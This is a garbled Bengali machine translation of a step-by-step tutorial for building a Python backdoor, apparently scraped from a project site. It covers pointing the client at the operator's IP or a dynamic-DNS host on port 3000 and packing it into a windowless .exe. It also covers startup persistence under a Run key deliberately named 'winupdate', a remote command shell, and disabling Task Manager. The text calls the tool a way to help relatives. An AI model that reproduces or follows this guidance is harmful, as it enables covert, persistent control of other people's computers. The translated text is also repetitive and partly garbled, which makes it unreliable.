সুচিপত্র:

সহজ পাইথন ব্যাকডোর: 7 টি ধাপ
সহজ পাইথন ব্যাকডোর: 7 টি ধাপ

ভিডিও: সহজ পাইথন ব্যাকডোর: 7 টি ধাপ

ভিডিও: সহজ পাইথন ব্যাকডোর: 7 টি ধাপ
ভিডিও: But what is a convolution? 2024, নভেম্বর
Anonim
সরল পাইথন ব্যাকডোর
সরল পাইথন ব্যাকডোর
সরল পাইথন ব্যাকডোর
সরল পাইথন ব্যাকডোর
সরল পাইথন ব্যাকডোর
সরল পাইথন ব্যাকডোর
সরল পাইথন ব্যাকডোর
সরল পাইথন ব্যাকডোর

তাই আমার সিম্পল নেটক্যাট ব্যাকডোরে নির্দেশ দেওয়ার প্রায় এক বছর পর, আমি পাইথন প্রোগ্রামিং ভাষা ব্যবহার করে একটি অনুরূপ কিন্তু আরও বৈশিষ্ট্যপূর্ণ সংস্করণ তৈরি করতে অনুপ্রাণিত হয়েছি কারণ এটি অন্যদের তুলনায় মোটামুটি সহজ ভাষা। সুতরাং যদি আপনি না জানেন যে একটি পিছনের দরজা কি, এটি মূলত একটি উপায় যা আপনাকে কারো কম্পিউটারের সাথে সংযোগ স্থাপন এবং নিয়ন্ত্রণ করতে দেয়। নেটক্যাটের উপর এটির অনেক সুবিধা রয়েছে, যেমন অনেক সহজ ইনস্টল, ব্যবহার এবং আপনার নেটওয়ার্কের বাইরে ব্যবহার করা খুব সহজ। আমি এমনকি একটি দূরবর্তী cmd অন্তর্ভুক্ত করেছি, তাই আপনি আগের মতো যেকোনো কমান্ড চালাতে পারেন। এছাড়াও যেহেতু সার্ভারটি এখন ক্রস-প্ল্যাটফর্ম, তাই আপনি এখন একটি লিনাক্স সার্ভারে সংযোগ গ্রহণ করতে পারেন।

যাইহোক আপনি এখানে সর্বশেষ সংস্করণটি ডাউনলোড করতে পারেন (শুধুমাত্র ফাইলগুলির প্রয়োজন হবে সার্ভার এবং ক্লায়েন্ট)।

দ্রষ্টব্য: এই প্রোগ্রামটি এখনও কিছুটা এগিয়ে চলছে, আমি আশা করি ভবিষ্যতে আরও কিছু বৈশিষ্ট্য অন্তর্ভুক্ত করার পরিকল্পনা করছি। এই প্রকল্পটি গিথুব পৃষ্ঠাতেও উপলব্ধ।

ধাপ 1: পূর্বশর্তগুলি ইনস্টল করা হচ্ছে …

পূর্বশর্তগুলি ইনস্টল করা হচ্ছে…
পূর্বশর্তগুলি ইনস্টল করা হচ্ছে…

সুতরাং যেহেতু এই প্রোগ্রামটি পাইথন 3 এ তৈরি করা হয়েছে, আপনি এগিয়ে যান এবং এখান থেকে সর্বশেষ সংস্করণটি ডাউনলোড করুন। তবে আপনার কয়েকটি মডিউলও প্রয়োজন হবে।

সুতরাং এগুলি ইনস্টল করার জন্য, আপনি কেবল একটি কমান্ড প্রম্পটে python -m pip install -r requirements.txt চালাতে পারেন। "প্রয়োজনীয়তা। Txt" হল প্রধান ডিরেক্টরিতে থাকা ফাইলটিতে প্রয়োজনীয় সমস্ত মডিউল রয়েছে।

পদক্ষেপ 2: সেটআপ …

সেটআপ…
সেটআপ…
সেটআপ…
সেটআপ…

তাই ক্লায়েন্ট কনফিগার করার জন্য, আইডিএল বা অন্য কোন এডিটর দিয়ে src/client.py খুলুন এবং আপনার উপরের কোডটি ছবি 1 এর মতো দেখতে হবে।

যাইহোক, প্রথমে আপনাকে যা করতে হবে তা হল আইপি অ্যাড্রেস এর সাথে সংযোগ স্থাপনের জন্য কনফিগার করা, তাই strHost কে আপনার আইপি হিসেবে সেট করুন যাতে ক্লায়েন্টকে পিক ২ -এর সাথে সংযোগ করতে হবে। নো-আইপি থেকে, যা আপনাকে আপনার নেটওয়ার্কের বাইরে প্রোগ্রামটি ব্যবহার করতে দেয়, নীচের লাইনে "#" সরান এবং উদ্ধৃতিগুলির মধ্যে আপনার হোস্টনামটি পূরণ করুন। যেমন myserver113.ddns.net।

দ্রষ্টব্য: যদি আপনি আপনার নেটওয়ার্কের বাইরে প্রোগ্রামটি ব্যবহার করার পরিকল্পনা করেন, তাহলে আপনাকে অবশ্যই 3000 পোর্ট ফরওয়ার্ড পোর্ট করতে হবে। অথবা আপনি যদি ডিজিটালসিওন থেকে একটি সার্ভার ব্যবহার করেন তবে কোন পোর্ট ফরওয়ার্ডিংয়ের প্রয়োজন নেই:)।

ধাপ 3:.exe তৈরি করুন

. Exe তৈরি করুন
. Exe তৈরি করুন
. Exe তৈরি করুন
. Exe তৈরি করুন

পাইথন এবং মডিউল ছাড়া কাউকে ফাইলটি চালানোর অনুমতি দেওয়ার জন্য, আপনাকে অবশ্যই একটি.exe ফাইলটি তৈরি করতে হবে। সুতরাং একটি কমান্ড প্রম্পট খুলুন এবং নিম্নলিখিত কোডটি চালান:

pyinstaller client.py --exclude-module FixTk --exclude-module tcl --exclude-module tk --exclude-module _tkinter --exclude-module tkinter --exclude-module Tkinter --onefile --windowed

এটি যা করে তা হ'ল ফাইলের আকারে সংরক্ষণের জন্য অব্যবহৃত টিকিন্টার মডিউল বাদ দেওয়া এবং তারপরে একটি একক এক্সিকিউটেবল তৈরি করা।

দ্রষ্টব্য: আপনি -আইকন = "আইকন পাথ" যোগ করে আপনার নিজস্ব আইকন যুক্ত করতে পারেন

ধাপ 4: ব্যবহার …

ব্যবহার…
ব্যবহার…
ব্যবহার…
ব্যবহার…
ব্যবহার…
ব্যবহার…

আপনি সার্ভারটি চালানোর আগে, আপনাকে অবশ্যই আপনার ফায়ারওয়াল নিষ্ক্রিয় করতে হবে অথবা আসন্ন সংযোগগুলি গ্রহণ করার জন্য পোর্ট 3000 অনুমোদন করতে হবে। তারপরে আপনি সংযোগগুলি শোনার জন্য সার্ভারটি চালাতে পারেন।

একবার আপনি একটি সংযোগ পেয়ে গেলে, আপনি "--help" টাইপ করতে পারেন, এবং আপনার ছবি 1 এর মতো একটি প্রম্পট পাওয়া উচিত। এরপর আপনি "--i ক্লায়েন্ট আইডি" লিখে ব্যবহারকারীর সাথে যোগাযোগ করতে পারেন।

পরবর্তীতে, আপনার ছবি 2-এর মতো একটি মেনু দেখা উচিত, এবং এখন আপনি যে কোনও কমান্ড চালাতে পারেন যেমন "-m" একটি বার্তা পাঠাতে, "--e" দূরবর্তী cmd খোলার জন্য, ইত্যাদি ব্যবহার করতে পারেন "--b" যাতে আপনি সংযোগটিকে পটভূমিতে সরিয়ে অন্য কম্পিউটারের সাথে যোগাযোগ করতে পারেন।

যেমনটি আমি বলেছি, আপনি নেটক্যাট ব্যাকডোর দিয়ে আপনি যা করতে পেরেছিলেন তা কেবল আরও কিছু করতে পারেন।

দ্রষ্টব্য: উইন্ডো বন্ধ করার পরিবর্তে প্রধান মেনুতে "--x" চালানোর মাধ্যমে একটি সুন্দর শাটডাউন করা সর্বদা ভাল।

ধাপ 5: আনইনস্টল করা হচ্ছে …

আনইনস্টল করা হচ্ছে …
আনইনস্টল করা হচ্ছে …

যদি আপনি কখনও এই প্রোগ্রামটিকে স্টার্টআপে যুক্ত করেন এবং এটি সরিয়ে ফেলতে চান, কেবল রেজিস্ট্রি খুলুন এবং "HKEY_CURRENT_USER / Software / Microsoft / Windows / CurrentVersion / Run" এ নেভিগেট করুন। তারপর "winupdate" নামক মানটি মুছে ফেলুন। আমি এটি একটি অ-সন্দেহজনক নাম দিয়েছি যাতে এটি দুর্ঘটনাক্রমে মুছে না যায়;)।

ধাপ 6: ব্যাখ্যা…

ব্যাখ্যা…
ব্যাখ্যা…

তাই আমি কিভাবে প্রতিটি বৈশিষ্ট্য তৈরি করেছি তা লেখার জন্য পৃষ্ঠাগুলি ব্যয় করতে পারি, কিন্তু পরিবর্তে আমি সাধারণভাবে ব্যাখ্যা করব কিভাবে এই পুরো প্রোগ্রামটি কাজ করে।

সুতরাং প্রোগ্রামটি প্রথমে ক্লায়েন্টের কাছ থেকে আসন্ন সংযোগের জন্য একটি পোর্টে একটি সার্ভার শোনার মাধ্যমে কাজ করে, এই ক্ষেত্রে আমি 3000 পোর্টটি বেছে নিয়েছি। এরপর ক্লায়েন্ট সেই পোর্টটি ব্যবহার করে সার্ভারের সাথে সংযুক্ত হয় এবং তারপরে সার্ভারটি কমান্ড পাঠানোর জন্য অপেক্ষা করে। আমার ক্ষেত্রে কমান্ডগুলি কেবলমাত্র "dtaskmgr" এর মতো সাধারণ স্ট্রিং যা ক্লায়েন্টকে টাস্ক ম্যানেজার অক্ষম করতে বলে। এটা আসলে খুবই সহজ। সার্ভার কখনই ক্লায়েন্ট পিসির সাথে সরাসরি যোগাযোগ করে না, বরং এটি ক্লায়েন্টের সাথে যোগাযোগ করে যা নির্দিষ্ট কমান্ডগুলি চালায়।

একটি সকেটে ডেটা পাঠানোর বিষয়ে আরেকটি বিষয় হল, ডেটা অবশ্যই বাইট হিসাবে পাঠাতে হবে যার অর্থ আপনি সার্ভার এবং ক্লায়েন্টকে ক্রমাগত স্ট্যান্ডার্ড টেক্সটে বার্তাগুলি ডিকোড করতে দেখবেন।

যাইহোক, যেটা অনেকটা ব্যাকডোর তৈরিতে আসে, আপনি লক্ষ্য করবেন আমি হালকাভাবে কোডটি মন্তব্য করেছি, তাই যদি আপনি একটু অজগর জানেন, তাহলে এটি বুঝতে একটু সহজ হওয়া উচিত।

ধাপ 7: সম্পন্ন

এই প্রোগ্রাম সঙ্গে মজা আছে! এটি বিশেষ করে বন্ধু/আত্মীয়দের সাহায্য করার জন্য সহায়ক হতে পারে যারা কাছাকাছি থাকেন না।

আমি আশা করি আপনি এই নির্দেশযোগ্য উপযোগী পেয়েছেন এবং যদি আপনার কোন প্রশ্ন, বা উদ্বেগ থাকে তবে দয়া করে একটি মন্তব্য করুন অথবা আমাকে জানান।

এছাড়াও যদি আপনি এই প্রোগ্রামে কোন বাগ খুঁজে পান, অথবা একটি বৈশিষ্ট্য অনুপস্থিত মনে করেন বা অন্তর্ভুক্ত করার জন্য দরকারী, দয়া করে আমাকে এটি রিপোর্ট করুন।

প্রস্তাবিত: